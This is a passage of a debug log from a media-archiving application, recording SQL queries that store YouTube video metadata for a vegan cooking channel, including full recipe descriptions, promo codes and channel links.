you follow a plant-based diet, are gluten-free or are just looking to add more delicious veggie-packed salads in your diet.\n\nLooking for more healthy summer salad inspo? Watch this playlist next! \u00A0\u00A0\u00A0•\u00A0SALADS\u00A0&\u00A0SIDES\u00A0\u00A0\n\nLemony Beet & Onion Salad\n\n3 medium beets, scrubbed, greens removed\n4 small carrots\n½ red or white onion, thinly sliced\n3 tbsp apple cider vinegar\n2 tbsp lemon juice\nZest of 1 lemon, about 1 tsp\n1 tsp dried rosemary, or 1 tbsp fresh\n2½ tbsp neutral oil, divided\n½ tsp sea salt\nBlack pepper to taste\n\n1. Preheat oven to 425F. Wrap each beet individually in aluminum foil, rap all the carrots in a single large sheet of foil and place on a baking sheet. Roast for 30 to 60 minutes (time will vary depending on size of beets) until a knife inserted into the beet goes through smoothly.\n2. Remove the foil and let beets and carrots rest until cool enough to handle. Using a paper towel, or just your hands, rub the beets until the skin comes off (it should slide off easily)\n3. Cut the beets into thin coins, slices or juliennes, and place in a large bowl.\n4. Meanwhile, heat 1½ tbsp of oil in a small frying pan over medium heat. Add the rosemary and cook for about 3 minutes until it becomes fragrant.\n5. Pour the warm oil over the beets through a sieve to catch the rosemary. Add the onion, apple cider vinegar, lemon juice & zest, salt and pepper (plus additional 1 tbsp of oil if desired) and toss to combine. Transfer to a serving bowl.\n6. Refrigerate for a few hours or up to overnight (which is best!)\n\n\nCurried Chickpea Salad\n\n2½ to 3 cups canned chickpeas, drained and rinsed\n½ large white or yellow onion, finely diced\n1 large crisp apple, diced\n1 celery stalk, finely diced\n1 medium carrot, grated\n2 cloves garlic, minced\n½ cup vegan mayo\n1 tbsp lemon juice\n1½ tbsp curry powder \n1½ tbsp maple syrup\n1 tsp dijon mustard\n½ tsp salt\n¼ tsp black pepper\n\n1. In a small bowl whisk together the mayo, lemon juice, garlic, curry powder, maple syrup, dijon mustard, salt and pepper until combined into a thick dressing. Set aside to chill while you prepare the other ingredients.\n2. To a large mixing bowl combine the chickpeas, onion, apple, celery, and carrot. Pour over the dressing and mix again to combine. Enjoy right away or serve chilled, is great in wraps and sandwiches too!\n\n\nPROMO CODES & LINKS\n\n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\n\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "3 Salad Recipes Everyone Should Know! (Plant-Based Diet & Gluten-Free)", "2e8c2e0d-d377-48de-a0bc-e1a0cb2dd21f", 1, [], false, "cj3kw4tUq2Q", "https://www.youtube.com/watch?v=cj3kw4tUq2Q", 190, "/downloads/downloads/alec/Steamy Vegan/2024-06-01 3 Salad Recipes Everyone Should Know! (Plant-Based Diet & Gluten-Free)/3 Salad Recipes Everyone Should Know! (Plant-Based Diet & Gluten-Free) [cj3kw4tUq2Q].NA", false, false, false, 1, ~U[2024-06-01 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "We're going over 3 delicious salad recipes for summer that you need to make! Great if you follow a plant-based diet, are gluten-free or are just looking to add more delicious veggie-packed salads in your diet.\n\nLooking for more healthy summer salad inspo? Watch this playlist next! \u00A0\u00A0\u00A0•\u00A0SALADS\u00A0&\u00A0SIDES\u00A0\u00A0\n\nLemony Beet & Onion Salad\n\n3 medium beets, scrubbed, greens removed\n4 small carrots\n½ red or white onion, thinly sliced\n3 tbsp apple cider vinegar\n2 tbsp lemon juice\nZest of 1 lemon, about 1 tsp\n1 tsp dried rosemary, or 1 tbsp fresh\n2½ tbsp neutral oil, divided\n½ tsp sea salt\nBlack pepper to taste\n\n1. Preheat oven to 425F. Wrap each beet individually in aluminum foil, rap all the carrots in a single large sheet of foil and place on a baking sheet. Roast for 30 to 60 minutes (time will vary depending on size of beets) until a knife inserted into the beet goes through smoothly.\n2. Remove the foil and let beets and carrots rest until cool enough to handle. Using a paper towel, or just your hands, rub the beets until the skin comes off (it should slide off easily)\n3. Cut the beets into thin coins, slices or juliennes, and place in a large bowl.\n4. Meanwhile, heat 1½ tbsp of oil in a small frying pan over medium heat. Add the rosemary and cook for about 3 minutes until it becomes fragrant.\n5. Pour the warm oil over the beets through a sieve to catch the rosemary. Add the onion, apple cider vinegar, lemon juice & zest, salt and pepper (plus additional 1 tbsp of oil if desired) and toss to combine. Transfer to a serving bowl.\n6. Refrigerate for a few hours or up to overnight (which is best!)\n\n\nCurried Chickpea Salad\n\n2½ to 3 cups canned chickpeas, drained and rinsed\n½ large white or yellow onion, finely diced\n1 large crisp apple, diced\n1 celery stalk, finely diced\n1 medium carrot, grated\n2 cloves garlic, minced\n½ cup vegan mayo\n1 tbsp lemon juice\n1½ tbsp curry powder \n1½ tbsp maple syrup\n1 tsp dijon mustard\n½ tsp salt\n¼ tsp black pepper\n\n1. In a small bowl whisk together the mayo, lemon juice, garlic, curry powder, maple syrup, dijon mustard, salt and pepper until combined into a thick dressing. Set aside to chill while you prepare the other ingredients.\n2. To a large mixing bowl combine the chickpeas, onion, apple, celery, and carrot. Pour over the dressing and mix again to combine. Enjoy right away or serve chilled, is great in wraps and sandwiches too!\n\n\nPROMO CODES & LINKS\n\n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% (truncated) 20:31:07.468 [debug] QUERY OK source="sources" db=0.5ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.471 [debug] QUERY OK source="media_items" db=2.0ms idle=7.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-05-28 00:00:00Z], 1] 20:31:07.473 [debug] QUERY OK source="media_items" db=1.8ms queue=0.4ms idle=8.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We're making 2 healthy plant-based burgers that are high protein, high fibre, gluten-free and so easy to make! Made with whole food plant based ingredients and minimal effort! Meal-prep friendly :)\n\nLooking for more healthy, high-protein, gluten-free recipes? Watch this playlist next! ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nQuinoa & Chickpea Burgers 233 Cal, 9g protein\nMakes 4\n\n¼ cup uncooked quinoa\n½ cup water\n2 cups canned chickpeas, drained and rinsed well\n2 oz spinach leaves\n3 oz tomato paste\n1 carrot, finely grated\n1 tsp smoked paprika\n1 tsp onion powder\n½ tsp garlic powder\n½ tsp Pink Himalayan Salt\n½ tsp black pepper\n⅓ cup breadcrumbs\n1 tbsp oil\n\nINSTRUCTIONS\nIn a small pot, cook the quinoa with water, bring a boil, cover and simmer for 14 minutes. Uncover and fluff with a fork.\nIn a food processor, add the rinsed chickpeas and spinach and process until combined. Add the cooked quinoa to the mixture, tomato paste, shredded carrot all the seasonings and the breadcrumbs and process again until a thick 'dough' forms. Form four equal patties.\nHeat olive oil in a large skillet or grill pan, place the quinoa burgers in the pan and fry over medium heat for about 5 to 6 minutes per side. Alternatively, preheat oven to 375F and bake on top rack for 20 minutes, then flip the burgers and bake for another 15 to 20 minutes until the edges are crisp and golden.\nBuild a burger with your favorite buns and toppings! Enjoy!\n\n\n\nBlack Bean Beet Burger 310 cal, 14g protein\nMakes 6\n\n2 to 3 small beets, peeled and grated (about 2 cups or 300g)\n2 cups canned black beans, drained and rinsed\n1 cup roasted sunflower seeds\n½ cup rolled oats\n2 tbsp ground flaxseed\n½ large onion, finely chopped\n2 garlic cloves, minced\n2 tbsp tamari or soy sauce\n2 tbsp vegan Worcestershire or balsamic vinegar\n2 tbsp tahini\n1 tsp dried rosemary\n½ tsp dried thyme\n¼ tsp cayenne\n⅛ tsp nutmeg\n½ tsp salt\n\n*Preheat the oven to 375F and line a baking sheet with a silicone mat or parchment paper.\n*Finely grate the beets using a food processor attachment or a box grater. Set aside. Clean out the food processor, then replace grating blade with s-blade. Add the sunflower seeds, oats, flax, garlic, all dry spices, and salt. Process until a slightly coarse, sandy meal forms.\n*Add the shredded beets, black beans, onion, tamari, worcestershire, and tahini to the food processor and blend until combined. If there’s still some chunks of beet or beans that’s fine because it all adds texture\n*Scoop out the burger batter into 4 to 6 even portions and form into patties. Place on the baking sheet and bake on top rack for 20 minutes, then flip the burgers and bake for another 15 to 20 minutes until the edges are crispy and slightly browned.\nAlternatively, pan fry with 1 tbsp oil for 5 to 6 minutes per side on medium heat. OR air fry at 400F for 25 mins, turning halfway.\n\n\nPROMO CODES & LINKS\n\n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\n\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nTimestamps:\n0:00 - Introduction\n0:24 - Chickpea and Quinoa Patty\n3:08 - Black Bean and Beet Patty", "2 Healthy Plant-Based Burgers YOU Can Make This Week", "78b85a93-d92a-42ce-9bb6-90692d56d93f", 1, [], false, "Rh2uCw4xIHA", "https://www.youtube.com/watch?v=Rh2uCw4xIHA", 191, "/downloads/downloads/alec/Steamy Vegan/2024-05-28 2 Healthy Plant-Based Burgers YOU Can Make This Week/2 Healthy Plant-Based Burgers YOU Can Make This Week [Rh2uCw4xIHA].NA", false, false, false, 1, ~U[2024-05-28 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "We're making 2 healthy plant-based burgers that are high protein, high fibre, gluten-free and so easy to make! Made with whole food plant based ingredients and minimal effort! Meal-prep friendly :)\n\nLooking for more healthy, high-protein, gluten-free recipes? Watch this playlist next! ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nQuinoa & Chickpea Burgers 233 Cal, 9g protein\nMakes 4\n\n¼ cup uncooked quinoa\n½ cup water\n2 cups canned chickpeas, drained and rinsed well\n2 oz spinach leaves\n3 oz tomato paste\n1 carrot, finely grated\n1 tsp smoked paprika\n1 tsp onion powder\n½ tsp garlic powder\n½ tsp Pink Himalayan Salt\n½ tsp black pepper\n⅓ cup breadcrumbs\n1 tbsp oil\n\nINSTRUCTIONS\nIn a small pot, cook the quinoa with water, bring a boil, cover and simmer for 14 minutes. Uncover and fluff with a fork.\nIn a food processor, add the rinsed chickpeas and spinach and process until combined. Add the cooked quinoa to the mixture, tomato paste, shredded carrot all the seasonings and the breadcrumbs and process again until a thick 'dough' forms. Form four equal patties.\nHeat olive oil in a large skillet or grill pan, place the quinoa burgers in the pan and fry over medium heat for about 5 to 6 minutes per side. Alternatively, preheat oven to 375F and bake on top rack for 20 minutes, then flip the burgers and bake for another 15 to 20 minutes until the edges are crisp and golden.\nBuild a burger with your favorite buns and toppings! Enjoy!\n\n\n\nBlack Bean Beet Burger 310 cal, 14g protein\nMakes 6\n\n2 to 3 small beets, peeled and grated (about 2 cups or 300g)\n2 cups canned black beans, drained and rinsed\n1 cup roasted sunflower seeds\n½ cup rolled oats\n2 tbsp ground flaxseed\n½ large onion, finely chopped\n2 garlic cloves, minced\n2 tbsp tamari or soy sauce\n2 tbsp vegan Worcestershire or balsamic vinegar\n2 tbsp tahini\n1 tsp dried rosemary\n½ tsp dried thyme\n¼ tsp cayenne\n⅛ tsp nutmeg\n½ tsp salt\n\n*Preheat the oven to 375F and line a baking sheet with a silicone mat or parchment paper.\n*Finely grate the beets using a food processor attachment or a box grater. Set aside. Clean out the food processor, then replace grating blade with s-blade. Add the sunflower seeds, oats, flax, garlic, all dry spices, and salt. Process until a slightly coarse, sandy meal forms.\n*Add the shredded beets, black beans, onion, tamari, worcestershire, and tahini to the food processor and blend until combined. If there’s still some chunks of beet or beans that’s fine because it all adds texture\n* (truncated) 20:31:07.474 [debug] QUERY OK source="sources" db=0.5ms idle=9.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.476 [debug] QUERY OK source="media_items" db=2.0ms idle=7.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-05-25 00:00:00Z], 1] 20:31:07.482 [debug] QUERY OK source="media_items" db=5.3ms idle=8.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I'm showing you 3 healthy vegan salads that everyone should know how to make! All vegan, gluten-free, healthy and delicious. Roasted Fennel & Radish Salad, Nacho Salad and Vegan Caesar Salad\n\nLooking for more healthy, high-protein, gluten-free recipes? Watch this playlist next! ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nRoasted Fennel & Radish Salad serves 2 to 4\n1 bulb of fennel, stems and fronds removed\n2 bunches of radishes, tops and roots removed\n1 tsp ground coriander\n1 can chickpeas, rinsed and patted dry\n1 tsp garlic powder\ngreens of choice\nzest & juice of 1 lemon\n3 cloves garlic, minced\n1 tbsp dijon mustard\n½ tbsp maple syrup\n1 tbsp olive brine\n3 tbsp olive oil, plus extra for brushing\nsalt & pepper\n\n1. Preheat your oven to 400°F (375 if using convection) and line 1 to 2 baking trays with parchment paper.\n2. Slice the fennel bulb lengthwise into several 'planks' and arrange them flat on the baking tray, leaving a little bit of space between each piece if possible. Slice the radishes in half and also place on a baking tray.\n3. Lightly brush the fennel pieces and radishes with a small amount of olive oil (both sides) and sprinkle the coriander, salt and pepper over them. Pop in the oven and bake for about 35 to 40 minutes until they are golden around the edges and begin to look softened and slightly caramelized.\n4. While the veg bakes, heat 1 tbsp oil in a skillet and and the chickpeas. Stir to evenly coat them in the oil and add the garlic powder and salt/pepper to taste. Cook them on medium-high heat for 12-15 minutes, stirring frequently, until they're a dark golden colour and fairly crispy.\n5. While the chickpeas are frying, make the salad dressing. In a jar or bowl, add the minced garlic, lemon zest, dijon mustard, olive brine, maple syrup, olive oil and salt/pepper and shake/whisk vigorously to combine and emulsify. Remove the veg from the oven and let cool for 5 mins.\n6. Arrange your choice of salad greens in a large bowl or plate and add the warm fennel, radishes, and crispy chickpeas overtop, followed by a handful of the fennel fronds (whispy looking things) and the salad dressing.\nEnjoy on its own as a light lunch or with a cooked grain of choice for a more filling, bulked up meal! \n\nNacho Salad\nwhat you'll need:\ntortilla chips\nplant-based ground meat, cooked in taco seasonings\nsalsa & vegan sour cream\nsalad greens\ngreen onions\nyour fave nacho toppings\nyour fave salad veggies\navocado\n-vegan queso\n\n1. Make a batch of nachos in your fave way\n2. Fill a bowl with your fave salad greens and veg\n3. Add deliciously gooey nachos on top of the salad\n4. Top with salsa, sour cream, avocado, vegan queso and ENJOY!\n\nVegan Caesar Salad\n¼ cup drippy tahini\njuice of ½ a lemon\n1 tsp dijon mustard\n2 tsp capers, finely minced\n1 clove of garlic, finely minced\nwater to thin out as needed\nsalt and pepper to taste\nChopped romaine lettuce or other greens\n\nIn a large bowl or jar, add all the ingredients and whisk until it emulsifies and is a lovely creamy texture. Add 1 tbsp of water at a time as needed to thin out the dressing to your liking.\n\nIf making a caesar salad, add 2 to 3 chopped romaine hearts directly into the bowl on top of the dressing and toss well to combine! Enjoy with croutons, vegan parmesan or try making your own crispy tofu croutons using this recipe right here ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0Best\u00A0Way\u00A0to\u00A0Cook\u00A0Tofu\u00A0|\u00A0How\u00A0to\u00A0make\u00A0to...\u00A0\u00A0\n\n\nPROMO CODES & LINKS\n\n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered ri" <> ..., "3 Healthy Vegan Salads I'm Eating Right Now", "ce3d4ec8-5c63-4157-8ac0-59aa9d20901e", 1, [], false, "iKpg_Tu14aw", "https://www.youtube.com/watch?v=iKpg_Tu14aw", 192, "/downloads/downloads/alec/Steamy Vegan/2024-05-25 3 Healthy Vegan Salads I'm Eating Right Now/3 Healthy Vegan Salads I'm Eating Right Now [iKpg_Tu14aw].NA", false, false, false, 1, ~U[2024-05-25 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "I'm showing you 3 healthy vegan salads that everyone should know how to make! All vegan, gluten-free, healthy and delicious. Roasted Fennel & Radish Salad, Nacho Salad and Vegan Caesar Salad\n\nLooking for more healthy, high-protein, gluten-free recipes? Watch this playlist next! ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nRoasted Fennel & Radish Salad serves 2 to 4\n1 bulb of fennel, stems and fronds removed\n2 bunches of radishes, tops and roots removed\n1 tsp ground coriander\n1 can chickpeas, rinsed and patted dry\n1 tsp garlic powder\ngreens of choice\nzest & juice of 1 lemon\n3 cloves garlic, minced\n1 tbsp dijon mustard\n½ tbsp maple syrup\n1 tbsp olive brine\n3 tbsp olive oil, plus extra for brushing\nsalt & pepper\n\n1. Preheat your oven to 400°F (375 if using convection) and line 1 to 2 baking trays with parchment paper.\n2. Slice the fennel bulb lengthwise into several 'planks' and arrange them flat on the baking tray, leaving a little bit of space between each piece if possible. Slice the radishes in half and also place on a baking tray.\n3. Lightly brush the fennel pieces and radishes with a small amount of olive oil (both sides) and sprinkle the coriander, salt and pepper over them. Pop in the oven and bake for about 35 to 40 minutes until they are golden around the edges and begin to look softened and slightly caramelized.\n4. While the veg bakes, heat 1 tbsp oil in a skillet and and the chickpeas. Stir to evenly coat them in the oil and add the garlic powder and salt/pepper to taste. Cook them on medium-high heat for 12-15 minutes, stirring frequently, until they're a dark golden colour and fairly crispy.\n5. While the chickpeas are frying, make the salad dressing. In a jar or bowl, add the minced garlic, lemon zest, dijon mustard, olive brine, maple syrup, olive oil and salt/pepper and shake/whisk vigorously to combine and emulsify. Remove the veg from the oven and let cool for 5 mins.\n6. Arrange your choice of salad greens in a large bowl or plate and add the warm fennel, radishes, and crispy chickpeas overtop, followed by a handful of the fennel fronds (whispy looking things) and the salad dressing.\nEnjoy on its own as a light lunch or with a cooked grain of choice for a more filling, bulked up meal! \n\nNacho Salad\nwhat you'll need:\ntortilla chips\nplant-based ground meat, cooked in taco seasonings\nsalsa & vegan sour cream\nsalad greens\ngreen onions\nyour fave nacho toppings\nyour fave salad veggies\navocado\n-vegan queso\n\n1. Make a batch of nachos in your fave way\n2. Fill a bow (truncated) 20:31:07.484 [debug] QUERY OK source="sources" db=1.0ms idle=12.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.486 [debug] QUERY OK source="media_items" db=2.1ms idle=10.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-05-21 00:00:00Z], 1] 20:31:07.489 [debug] QUERY OK source="media_items" db=1.8ms idle=12.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We're doing a grocery haul at an ALL VEGAN grocery store *Vegan Supply*! Check out thousands of vegan products at www.vegansupply.ca, shipping available across Canada, USA and worldwide!\n\nVegan Supply is your one-stop shop for all things vegan, including meat alternatives, cheese, milk and dairy-free alternatives, ready-to-eat meals, mac 'n cheese, snacks, chocolate and confections, sauces, seasonings and SO MUCH MORE! It's basically a vegan (and lots of gluten-free) heaven.\n\n2 locations in BC, Canada:\nChinatown Location\n250 East Pender Street\nVancouver, BC V6A 1T7\n604-428-0863\n\nSurrey Location\n202-14016 32 Avenue\nSurrey, BC V4P 2J2\n604-538-8289\n\nCHECK OUT MY FULL 'GROCERY HAULS' PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\nCHECK OUT MY FULL 'WHAT I EAT IN A DAY PLAYLIST' ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nPROMO CODES & LINKS\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\n\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest...", "Grocery Haul at an ALL VEGAN Grocery Store! 🌱🛒", "5e99b6b2-c307-4682-89bf-0be2bfba2385", 1, [], false, "n7-lSBnCFto", "https://www.youtube.com/watch?v=n7-lSBnCFto", 193, "/downloads/downloads/alec/Steamy Vegan/2024-05-21 Grocery Haul at an ALL VEGAN Grocery Store! 🌱🛒/Grocery Haul at an ALL VEGAN Grocery Store! 🌱🛒 [n7-lSBnCFto].NA", false, false, false, 1, ~U[2024-05-21 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "We're doing a grocery haul at an ALL VEGAN grocery store *Vegan Supply*! Check out thousands of vegan products at www.vegansupply.ca, shipping available across Canada, USA and worldwide!\n\nVegan Supply is your one-stop shop for all things vegan, including meat alternatives, cheese, milk and dairy-free alternatives, ready-to-eat meals, mac 'n cheese, snacks, chocolate and confections, sauces, seasonings and SO MUCH MORE! It's basically a vegan (and lots of gluten-free) heaven.\n\n2 locations in BC, Canada:\nChinatown Location\n250 East Pender Street\nVancouver, BC V6A 1T7\n604-428-0863\n\nSurrey Location\n202-14016 32 Avenue\nSurrey, BC V4P 2J2\n604-538-8289\n\nCHECK OUT MY FULL 'GROCERY HAULS' PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\nCHECK OUT MY FULL 'WHAT I EAT IN A DAY PLAYLIST' ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: 